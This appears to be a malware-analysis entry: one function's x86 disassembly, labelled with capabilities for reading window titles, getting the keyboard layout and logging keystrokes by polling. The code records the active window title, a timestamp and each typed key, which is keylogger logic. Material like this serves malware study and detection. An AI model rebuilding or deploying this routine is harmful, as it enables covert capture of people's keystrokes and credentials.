Function at 0x40155c
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x274
mov dword [esp + 4], 8
mov dword [esp], 0x10
call fcn.0040625c
mov edx, eax
lea eax, [ebp - 0x124]
mov dword [esp], edx
mov ecx, eax
call fcn.00402074
sub esp, 4
call sub.USER32.dll_GetForegroundWindow
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0x14], 0
je 0x4015ce
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.USER32.dll_GetWindowThreadProcessId
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.USER32.dll_GetKeyboardLayout
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0
je 0x4016e4
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.USER32.dll_GetWindowTextA
sub esp, 0xc
mov dword [esp + 4], 0x40c160
lea eax, [ebp - 0x228]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4016e4
mov dword [esp + 8], 0xff
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov dword [esp], 0x40c160
call sub.msvcrt.dll_strncpy
mov byte [0x40c25f], 0
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [ebp - 0x128], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.msvcrt.dll_localtime
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._Y__m__dT_H:_M:_S_z
mov dword [esp + 4], 0x40
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.msvcrt.dll_strftime
mov dword [esp + 4], str._n_n_Window:
lea eax, [ebp - 0x124]
add eax, 8
mov dword [esp], eax
call fcn.00402024
mov edx, eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00402024
mov dword [esp + 4], str.___at
mov dword [esp], eax
call fcn.00402024
mov edx, eax
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00402024
mov dword [esp + 4], 0x4080cb
mov dword [esp], eax
call fcn.00402024
mov ecx, 0x40c13c
call fcn.00404c00
mov dword [ebp - 0x54], eax
lea eax, [ebp + 8]
mov dword [esp], eax
mov ecx, 0x40c13c
call fcn.00404c18
sub esp, 4
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
lea edx, [ebp - 0x54]
mov dword [esp], edx
mov ecx, eax
call fcn.00404af4
sub esp, 4
test al, al
je 0x40174b
lea eax, [ebp + 8]
mov dword [esp], eax
mov ecx, 0x40c13c
call fcn.00404b30
sub esp, 4
mov dword [esp + 4], eax
lea eax, [ebp - 0x124]
add eax, 8
mov dword [esp], eax
call fcn.00402014
jmp 0x4017d0
mov eax, dword [ebp + 8]
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 2
mov dword [esp], edx
call sub.USER32.dll_MapVirtualKeyExA
sub esp, 0xc
mov byte [ebp - 0xd], al
mov dword [esp], 0x14
call sub.USER32.dll_GetKeyState
sub esp, 4
cwde
and eax, 1
test eax, eax
jne 0x40179f
mov dword [esp], 0x10
call sub.USER32.dll_GetKeyState
sub esp, 4
test ax, ax
js 0x40179f
mov eax, 1
jmp 0x4017a4
mov eax, 0
test al, al
je 0x4017b7
movsx eax, byte [ebp - 0xd]
mov dword [esp], eax
call sub.msvcrt.dll_tolower
mov byte [ebp - 0xd], al
movsx eax, byte [ebp - 0xd]
mov dword [esp + 4], eax
lea eax, [ebp - 0x124]
add eax, 8
mov dword [esp], eax
call fcn.0040201c
lea eax, [ebp - 0x4c]
lea edx, [ebp - 0x124]
mov dword [esp], edx
mov ecx, eax
call fcn.004020d4
sub esp, 4
lea eax, [ebp - 0x4c]
mov dword [esp + 4], eax
mov dword [esp], 0x40c040
call fcn.00402014
lea eax, [ebp - 0x4c]
mov ecx, eax
call fcn.0040207c
mov ecx, 0x40c040
call fcn.004020bc
lea eax, [ebp - 0x34]
lea edx, [ebp - 0x124]
mov dword [esp], edx
mov ecx, eax
call fcn.004020d4
sub esp, 4
lea eax, [ebp - 0x34]
mov dword [esp + 4], eax
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call fcn.00402014
lea eax, [ebp - 0x34]
mov ecx, eax
call fcn.0040207c
mov ebx, 0
lea eax, [ebp - 0x124]
mov ecx, eax
call fcn.0040206c
mov eax, ebx
jmp 0x40188b
mov ebx, dword [ebp - 4]
leave
ret